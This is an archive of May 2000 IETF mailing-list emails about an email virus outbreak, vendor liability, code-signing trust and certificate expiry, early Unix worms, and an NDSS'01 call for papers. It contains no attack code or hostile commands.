To: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
cc: Scot Mc Pherson <smcpherson@clearaccess.net>, ietf <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 22:28:18 BST."
             <27655.957475698@cs.ucl.ac.uk> 
Date: Thu, 04 May 2000 20:39:43 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> no class action

perhaps that's not the appropriate mechanism, or perhaps that remedy isn't
available to a large number of those affected.

but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be 
held liable for poor engineering or implementation of bridges or buildings.  

when people who design such programs know about these risks, are aware of
adequate countermeasures (e.g. don't make executable content "clickable",
or execute it only in a sandbox), and yet take no action to ameliorate 
the risks... how far is that from negligence?

Keith



From owner-ietf-outbound  Thu May  4 21:30:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA23203
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 21:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA23062
	for <ietf@ietf.org>; Thu, 4 May 2000 21:23:53 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id VAA09369;
        Thu, 4 May 2000 21:23:46 -0400 (EDT)
Message-Id: <200005050123.VAA09369@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Vernon Schryver <vjs@calcite.rhyolite.com>
cc: ietf@ietf.org
Subject: Re: value of standards 
In-reply-to: Your message of "Thu, 04 May 2000 17:24:35 MDT."
             <200005042324.RAA29122@calcite.rhyolite.com> 
Date: Thu, 04 May 2000 21:23:46 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> ] ...
> ]        You could have senders sign any executables. That might help a 
> ] little,  as long as the sender's machine hasn't been compromised.
> ]  
> ] this would also help, but we'd need a better way to verify the sender's 
> ] signature than we have now.
> 
> It wouldn't help much, unless you are of the religion that believes
> authentication implies authorization.  Or don't you think that
> today's evil doer could have managed to get the latest virus signed
> with some company's key?  

why in the world would I trust some random company's key?

now, if a "trusted friend" sent me a signed executable -
I as a person might decide that I'm willing to run the executable.

note that there are at least two kinds of trust here -

1. I have to be able to verify my friend's signature against a public
key which is either known to be valid because I've verified it personally,
or because it is signed by someone else that I trust (*maybe* a commercial 
CA, definitely *not* a random company)

2. I also have to trust my friend
a) not to be malicious 
b) to take reasonable steps to safeguard his system from compromise
   (including not running executables from unknown sources)
c) to take reasonable steps to safeguard his private key
   (which is not quite the same thing as b).

note that it takes a nontrivial user interface to communicate this to
a recipient of email:  e.g.

  NOTE: this message was signed by someone purporting to be 
  Keith Moore <moore@cs.utk.edu>.  The signature is validated
  by a certificate from Fly-By-Night Certificate Authority, Inc.
  Fly-By-Night's certificate verifies correctly according to
  another certificate from FemtoSoft corporation that was supplied
  with your email reader, but you have not personally placed trust 
  in FemtoSoft.

  Therefore the authenticity of the claimed sender cannot be verified.

and yet this is basically what it takes to do the job.

there's no way you should ever just "click" on an arbitrary 
attachment regardless of content, expect that content to 
be evaluated, and still expect it to not cause harm.

Keith



From owner-ietf-outbound  Thu May  4 22:00:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA24574
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 22:00:02 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24518
	for <ietf@ietf.org>; Thu, 4 May 2000 21:55:49 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id 998FC1E019; Thu,  4 May 2000 21:55:50 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id VAA00392;
	Thu, 4 May 2000 21:55:44 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 7CAFE35DC2; Thu,  4 May 2000 21:55:43 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Keith Moore <moore@cs.utk.edu>
Cc: Vernon Schryver <vjs@calcite.rhyolite.com>, ietf@ietf.org
Subject: Re: value of standards 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 04 May 2000 21:55:43 -0400
Sender: smb@research.att.com
Message-Id: <20000505015543.7CAFE35DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <200005050123.VAA09369@astro.cs.utk.edu>, Keith Moore writes:

>
>note that it takes a nontrivial user interface to communicate this to
>a recipient of email:  e.g.
>
>  NOTE: this message was signed by someone purporting to be 
>  Keith Moore <moore@cs.utk.edu>.  The signature is validated
>  by a certificate from Fly-By-Night Certificate Authority, Inc.
>  Fly-By-Night's certificate verifies correctly according to
>  another certificate from FemtoSoft corporation that was supplied
>  with your email reader, but you have not personally placed trust 
>  in FemtoSoft.
>
>  Therefore the authenticity of the claimed sender cannot be verified.
>
>and yet this is basically what it takes to do the job.
>
>there's no way you should ever just "click" on an arbitrary 
>attachment regardless of content, expect that content to 
>be evaluated, and still expect it to not cause harm.

Of course, today's particular piece of malware told users to click 'Yes' to 
install the necessary ActiveX control...

As for certifictes -- has anyone else done a Windows 98 update in the last two 
weeks, and examined the certificate?  It seems that Microsoft's update 
certificate expired on 16 April without them noticing...  Nor is the first 
time this has happened to Microsoft; a year ago, I sent in postings to RISKS 
Digest noting that both they and Netscape were shipping updates via expired 
certificates.  And I'd notified Microsoft about a year before that of yet 
another such incident.  (I was told that the expiration date didn't matter, 
since the certificate was valid at the time the code was signed.  Of course, 
how am I supposed to know that?  Maybe whatever hypothetical being compromised 
their expired -- and hence "worthless" -- private key set the date back on his/
her computer before signing a more subtle piece of malicious code.)

		--Steve Bellovin




From owner-ietf-outbound  Thu May  4 23:10:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA26402
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 23:10:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26352
	for <ietf@ietf.org>; Thu, 4 May 2000 23:04:25 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4534Ph12962;
	Thu, 4 May 2000 23:04:25 -0400
Message-Id: <200005050304.e4534Ph12962@black-ice.cc.vt.edu>
To: Keith Moore <moore@CS.UTK.EDU>
cc: ietf <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 20:39:43 EDT."
             <200005050039.UAA08387@astro.cs.utk.edu> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005050039.UAA08387@astro.cs.utk.edu>
Date: Thu, 04 May 2000 23:04:24 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 20:39:43 EDT, Keith Moore said:
> but sooner or later folks are going to be held liable for poor engineering
> or poor implementation of networking software, just like folks today can be 
> held liable for poor engineering or implementation of bridges or buildings.  

Not if the UCITA becomes legal.  Large immoral software vendors can
then ship software shrink-wrapped with a "if you break the seal
you agree to the license inside", and the license inside prohibits
you from reverse-engineering, publicising, or discussing bugs.

I kid you not.  Sometimes I wish the Virginia state constitution
was amended so a governor can suceed himself - currently, they're
only in for one consecutive term, so they tend to do splashy-but-longterm
bad things to use it as a springboard for a Congressional campaign...

At least the guys in Richmond had the sense to put a one-year study
period in before it becomes the law...  

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May  4 23:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA26527
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 23:20:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26379
	for <ietf@ietf.org>; Thu, 4 May 2000 23:08:41 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4538dh12992;
	Thu, 4 May 2000 23:08:39 -0400
Message-Id: <200005050308.e4538dh12992@black-ice.cc.vt.edu>
To: Vernon Schryver <vjs@calcite.rhyolite.com>
cc: ietf@ietf.org
Subject: Re: value of standards 
In-reply-to: Your message of "Thu, 04 May 2000 17:24:35 MDT."
             <200005042324.RAA29122@calcite.rhyolite.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005042324.RAA29122@calcite.rhyolite.com>
Date: Thu, 04 May 2000 23:08:39 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 17:24:35 MDT, Vernon Schryver <vjs@calcite.rhyolite.com>  said:
> It wouldn't help much, unless you are of the religion that believes
> authentication implies authorization.  Or don't you think that

Unfortunately, some people are as neuron-paralized by this religion
as by many others.  The example I've finally taken to using to
explain the difference is as follows:

"Hmm.. you have 3 different ID's that say you're Jeffrey Dahmer(*).
I guess it IS ok to lend you a steak knife...."

That usually gets their attention...

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech

(*) Yes, I know he's dead.  If that ruins the example for you,
use Hannibal Lecter instead... 



From owner-ietf-outbound  Thu May  4 23:30:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA26666
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 23:30:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26425
	for <ietf@ietf.org>; Thu, 4 May 2000 23:10:56 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e453Auh44866;
	Thu, 4 May 2000 23:10:56 -0400
Message-Id: <200005050310.e453Auh44866@black-ice.cc.vt.edu>
To: Keith Moore <moore@CS.UTK.EDU>
cc: ietf@ietf.org
Subject: Re: value of standards 
In-reply-to: Your message of "Thu, 04 May 2000 15:25:37 EDT."
             <200005041925.PAA02220@astro.cs.utk.edu> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <200005041925.PAA02220@astro.cs.utk.edu>
Date: Thu, 04 May 2000 23:10:52 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 15:25:37 EDT, Keith Moore said:
> Perhaps unfortunately, RFC 2046 doesn't come right out and say
> "DON'T EXECUTE CONTENT IN EMAIL MESSAGES".
> 
> Then again, it doesn't say DON'T CUT YOUR CUSTOMER'S ARM OFF either.
> 
> not that it would matter if it did...

There's simple inability to correctly implement the protocol,
and there's unwillingness to correctly implement the protocol.

I'm still not sure which is more easily curable with a baseball bat... ;)

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May  4 23:40:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA27230
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 23:40:03 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26446
	for <ietf@ietf.org>; Thu, 4 May 2000 23:13:07 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e453D3h37608;
	Thu, 4 May 2000 23:13:03 -0400
Message-Id: <200005050313.e453D3h37608@black-ice.cc.vt.edu>
To: Scot Mc Pherson <smcpherson@clearaccess.net>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 11:11:50 EDT."
             <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net>
Date: Thu, 04 May 2000 23:13:03 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 11:11:50 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> In fact to back up your statement, there are exactly 3 virii that infect
> UNIX based systems.

Hmm.. the Morris worm of 1988.  What are the other 2?

Hmm.. if you count the 2 self-reproducing sample programs that
came with 'gcc', no others.  Or maybe there's more than 3, which
is likely since I've seen at least 4 different "proof of concept"
level creations...

				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May  4 23:50:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA27482
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 23:50:03 -0400 (EDT)
Received: from piglet.dstc.edu.au (piglet.dstc.edu.au [130.102.176.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA27443
	for <ietf@ietf.org>; Thu, 4 May 2000 23:48:52 -0400 (EDT)
Received: from dstc.edu.au (asuncion.dstc.edu.au [130.102.176.155])
	by piglet.dstc.edu.au (8.10.1/8.10.1) with ESMTP id e453mWT29322;
	Fri, 5 May 2000 13:48:32 +1000 (EST)
X-Mailer: exmh version 2.1.0 09/18/1999
To: Valdis.Kletnieks@vt.edu
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-Reply-To: Message from Valdis.Kletnieks@vt.edu 
   of "Thu, 04 May 2000 23:13:03 -0400." <200005050313.e453D3h37608@black-ice.cc.vt.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 05 May 2000 13:48:33 +1000
Message-ID: <4294.957498513@dstc.edu.au>
From: George Michaelson <ggm@dstc.edu.au>
X-Loop: ietf@ietf.org


  
  Hmm.. the Morris worm of 1988.  What are the other 2?
  
Piers Dick Lauder and Bob Kummerfeld implemented Mail/sendfile *@*
(yes, wildcards both sides of the user@host name form) in ACSnet prior
to this. It was designed to be used amongst other things, to do s/w updates
to all ACSnet subscribers. And it worked over IP as well as an applications
layer over TCP/IP, gated into sendmail.

The one time I saw them use it, it killed my sendmail by n->n*m explosion
of outbound mails. And as soon as I deleted one from mqueue, another 20
came in.


Mike Lesk claimed UUCP was invented for similar reasons and I seem to recall
some more than proof of concept uux methods to re-create forwarding data but
thats probably never been exploited in an IP network.

Then there are the checkgroups message flows in News...

cheers
	-George  
--
George Michaelson         |  DSTC Pty Ltd
Email: ggm@dstc.edu.au    |  University of Qld 4072
Phone: +61 7 3365 4310    |  Australia
  Fax: +61 7 3365 4311    |  http://www.dstc.edu.au




From owner-ietf-outbound  Fri May  5 09:00:44 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA17475
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 09:00:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA17281
	for <ietf@ietf.org>; Fri, 5 May 2000 08:53:49 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id HAA10764;
	Fri, 5 May 2000 07:53:35 -0400
Date: Fri, 5 May 2000 07:53:35 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Valdis.Kletnieks@vt.edu
Cc: Scot Mc Pherson <smcpherson@clearaccess.net>, ietf@ietf.org
Subject: Re: VIRUS WARNING
Message-ID: <20000505075335.I1563@alcove.wittsend.com>
References: <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net> <200005050313.e453D3h37608@black-ice.cc.vt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <200005050313.e453D3h37608@black-ice.cc.vt.edu>; from Valdis.Kletnieks@vt.edu on Thu, May 04, 2000 at 11:13:03PM -0400
X-Loop: ietf@ietf.org

On Thu, May 04, 2000 at 11:13:03PM -0400, Valdis.Kletnieks@vt.edu wrote:
> On Thu, 04 May 2000 11:11:50 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> > In fact to back up your statement, there are exactly 3 virii that infect
> > UNIX based systems.

> Hmm.. the Morris worm of 1988.  What are the other 2?

	Bliss?  Wasn't very sophisticated and it didn't propagate very
well, but it did work.  It just fizzeled out because it's propagation
coefficient never even came close to break even.

	What's the other one?

> Hmm.. if you count the 2 self-reproducing sample programs that
> came with 'gcc', no others.  Or maybe there's more than 3, which
> is likely since I've seen at least 4 different "proof of concept"
> level creations...

	I've seen some assembly code someone was proposing on one of the
development lists.  One of the DOS virus writers claiming that it would
work as a Linux virus.  No evidence that it does anything though.  I
would marginally call that one a "proof of concept" or a "maybe of
concept".

> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Fri May  5 09:50:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA18890
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 09:50:03 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18781
	for <ietf@ietf.org>; Fri, 5 May 2000 09:46:00 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12niQR-0002L8-00; Fri, 05 May 2000 14:45:51 +0100
Date: Fri, 5 May 2000 14:45:49 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
cc: Scot Mc Pherson <smcpherson@CLEARACCESS.NET>, ietf <ietf@ietf.org>
Subject: Re: VIRUS WARNING
In-Reply-To: <27655.957475698@cs.ucl.ac.uk>
Message-ID: <Pine.GSO.4.21.0005051442140.20850-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Thu, 4 May 2000, Jon Crowcroft wrote:

> for a systemic view, 
> some stuff is engineered better than other stuff - see mark handly's
> excellent letter to the new york times, post melissa

Handl*e*y. Jon's referring to what was sent, not what bits scraped
through, ah, peer review. As detailed on

http://www.aciri.org/mjh/

L.

references R us.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Fri May  5 10:00:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA19251
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 10:00:04 -0400 (EDT)
Received: from sentry.gw.tislabs.com (firewall-user@sentry.gw.tislabs.com [192.94.214.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18964
	for <ietf@ietf.org>; Fri, 5 May 2000 09:51:23 -0400 (EDT)
Received: by sentry.gw.tislabs.com; id JAA28059; Fri, 5 May 2000 09:53:13 -0400 (EDT)
Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5)
	id xma028054; Fri, 5 May 00 09:52:26 -0400
Received: (from balenson@localhost)
	by clipper.gw.tislabs.com (8.9.3/8.9.1) id JAA28932
	for ietf@ietf.org; Fri, 5 May 2000 09:46:18 -0400 (EDT)
Date: Fri, 5 May 2000 09:46:18 -0400 (EDT)
From: "David M. Balenson" <balenson@tislabs.com>
Message-Id: <200005051346.JAA28932@clipper.gw.tislabs.com>
To: ietf@ietf.org
Subject: CFP: ISOC Netw & Distr Sys Security Symp (NDSS'01)
X-Loop: ietf@ietf.org


            C  A  L  L       F  O  R       P  A  P  E  R  S


                          The Internet Society
         2001 Network and Distributed System Security Symposium
                               (NDSS'01)

                           February 7-9, 2001

                Catamaran Resort, San Diego, California


                            IMPORTANT DATES
          Paper Submission due:           August 2, 2000
          Author Notification:            September 27, 2000
          Camera-ready final papers due:  October 31, 2000


GOAL: 
  This symposium will foster information exchange among researchers 
  and practioners of network and distributed system security 
  services.  The intended audience includes those who are interested 
  in the practical aspects of network and distributed system security,
  focusing on actual system design and implementation, rather than
  theory.  A major goal of the symposium is to encourage and enable 
  the Internet community to apply, deploy, and advance the state of
  available security technology.  The proceedings of the symposium 
  will be published by the Internet Society.

Submissions are solicited for, but are not limited to, the following
topics:
 * Secure Electronic Commerce: e.g., payment, barter, EDI,
   notarization/timestamping, endorsement and licensing.
 * Intellectual Property Protection: protocols, schemas,
   implementations, metering, watermarking, other forms of rights
   management.
 * Implementation, deployment and management of network security
   policies.
 * Integrating Security in Internet protocols: routing, naming,
   TCP/IP, multicast, network management, and the Web.
 * Attack-resistant protocols and services.
 * Special problems and case studies: e.g., interplay and tradeoffs
   between security and efficiency, usability, reliability and cost.
 * Security for collaborative applications and services: tele- and
   video-conferencing, groupwork, etc.
 * Fundamental services: authentication, data integrity,
   confidentiality, authorization, non-repudiation, and availability.
 * Supporting mechanisms and APIs: key management and certification,
   revocation, audit trails and accountability.
 * Public Key Infrastructure.
 * Integrating security services with system and application security
   facilities and protocols: e.g., message handling, file
   transport/access, directories, time synchronization, database
   management, boot services, mobile computing.
 * Security for emerging technologies: sensor networks, specialized
   testbeds, wireless/mobile (and ad hoc) networks, personal
   communication systems, and large heterogeneous distributed systems.
 * Intrusion Avoidance, Detection, and Response: systems, experiences
   and architectures.
 * Network Perimeter Controls: firewalls, packet filters, application
   gateways.
 * Virtual Private Networks.


BEST PAPER AWARD:
  There will be a best paper award again this year. The award will
  be presented at the symposium to the authors of the best overall
  paper as selected by the Program Committee.


SUBMISSIONS:
  The Program Committee invites both technical papers and panel
  proposals. Technical papers should be at most 20 pages long. Panel
  proposals should be at most two pages and should describe the
  topic, identify the panel chair, explain the format of the panel,
  and list three to four potential panelists. Technical papers will
  appear in the proceedings. A description of each panel will appear
  in the proceedings, and may - at the discretion of the panel chair
  - include written position statements from the panelists.

  Each submission must contain a separate title page with the type
  of submission (paper or panel), the title or topic, the names of
  the author(s), organizational affiliation(s), telephone and FAX
  numbers, postal addresses, e-mail addresses, and must specify the
  contact author in case of multi-author submissions. The names of
  authors, affiliations, and other identifying information should
  appear only on the separate title page. Submissions must be
  received by August 2, 2000, and must be made via electronically
  in either PostScript or ASCII format. If the Committee is unable
  to print a PostScript submission, a hardcopy will be requested.
  Therefore, PostScript submissions must arrive well before the
  deadline.

  Submission information can be found at
  http://www.isoc.org/ndss01/cfp. Dates, final call for papers,
  advance program, and registration information will be available
  soon at http://www.isoc.org/ndss01.

  Each submission will be acknowledged by e-mail. If acknowledgment
  is not received within seven days, please contact the program
  Co-chairs as indicated below. Authors and panelists will be
  notified of acceptance by September 27, 2000. Instructions for
  preparing camera-ready copy for the proceedings will be sent at
  that time. The camera-ready copy must be received by October 31,
  2000.


GENERAL CHAIR: 
  Stephen Welke, Trusted Computer Solutions

PROGRAM CO-CHAIRS:
  Avi Rubin, AT&T Labs - Research
  Paul Van Oorschot, Entrust Technologies

TUTORIAL CHAIR:
  Eric Harder, National Security Agency

LOCAL ARRANGEMENTS CHAIR:
  Thomas Hutton, San Diego Supercomputer Center

PUBLICATIONS CHAIR:
  Mahesh Tripunitara, Purdue University

PUBLICITY CHAIR:
  David Balenson, NAI Labs, Network Associates

LOGISTICS CHAIR:
  Carla Rosenfeld, Internet Society

PROGRAM COMMITTEE:
  Bennet Yee, University of California San Diego
  Bill Cheswick, Bell Labs
  Dave Kormann, AT&T Labs - Research
  David Aucksmith, Intel Corportation
  David P. Maher, Intertrust
  David Wagner, UC Berkeley
  Edward W. Felten, Princeton University
  Fabian Monrose, Bell Labs
  Gary McGraw, Reliable Software Technologies
  James Ellis, Sun Microsystems
  Kevin McCurley, IBM Almaden Research Center
  Matt Bishop, UC Davis
  Mudge, L0pht Heavy Industries, Inc.
  Peter Gutmann, University of Auckland, New Zealand
  Radia Perlman, Sun Microsystems
  Sandra Murphy, Network Associates
  Tom Berson, Anagram Laboratories
  Virgil D. Gligor, University of Maryland



From owner-ietf-outbound  Fri May  5 15:50:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAB27698
	for ietf-outbound.10@ietf.org; Fri, 5 May 2000 15:50:02 -0400 (EDT)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27440
	for <ietf@ietf.org>; Fri, 5 May 2000 15:40:37 -0400 (EDT)
Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by motgate.mot.com (motgate 2.1) with ESMTP id MAA07196; Fri, 5 May 2000 12:40:27 -0700 (MST)]
Received: [from relay1.cig.mot.com (relay1.cig.mot.com [136.182.15.23]) by pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id MAA24186; Fri, 5 May 2000 12:40:27 -0700 (MST)]
Received: from email.mot.com (t_il06_r_port10.corp.mot.com [129.188.171.31]) by relay1.cig.mot.com (8.8.8+Sun/SCERG-RELAY-1.11b) with ESMTP id OAA13331; Fri, 5 May 2000 14:01:42 -0500 (CDT)
Sender: stewrtrs@cig.mot.com
Message-ID: <39132951.581927D6@email.mot.com>
Date: Fri, 05 May 2000 20:04:33 +0000
From: Randall Stewart <rstewar1@email.mot.com>
Organization: NAT
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Michael H. Warfield" <mhw@wittsend.com>
CC: Valdis.Kletnieks@vt.edu, Scot Mc Pherson <smcpherson@clearaccess.net>,
        ietf@ietf.org
Subject: Re: VIRUS WARNING
References: <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net> <200005050313.e453D3h37608@black-ice.cc.vt.edu> <20000505075335.I1563@alcove.wittsend.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Michael:

I could not agree more, we have a few (possibly .. 3) virus that have
infect *nix systems. Even more telling, look at how linux systems
have NOT been infected or bothered much. I find this interesting
since the code - bugs, wart, and any holes are available to any
who want to look at it...

Now if I take and switch the machine I am typing on over to
that "other" o/s the virus scanner it has lists 100's and I 
mean 100's of viruses...

I do understand that some of us are STUCK with that other
O/S... but there are options.. I too am in theory using it.. but
only when I have to... I do all my real work on the linux side and
only occasionaly fire up the other side to read a awful .doc or .ppt
file...

I simply refuse to allow our IT dept to have there way with me and
infect me with the worst virus... that other O/S :-)

R

"Michael H. Warfield" wrote:
> 
> On Thu, May 04, 2000 at 11:13:03PM -0400, Valdis.Kletnieks@vt.edu wrote:
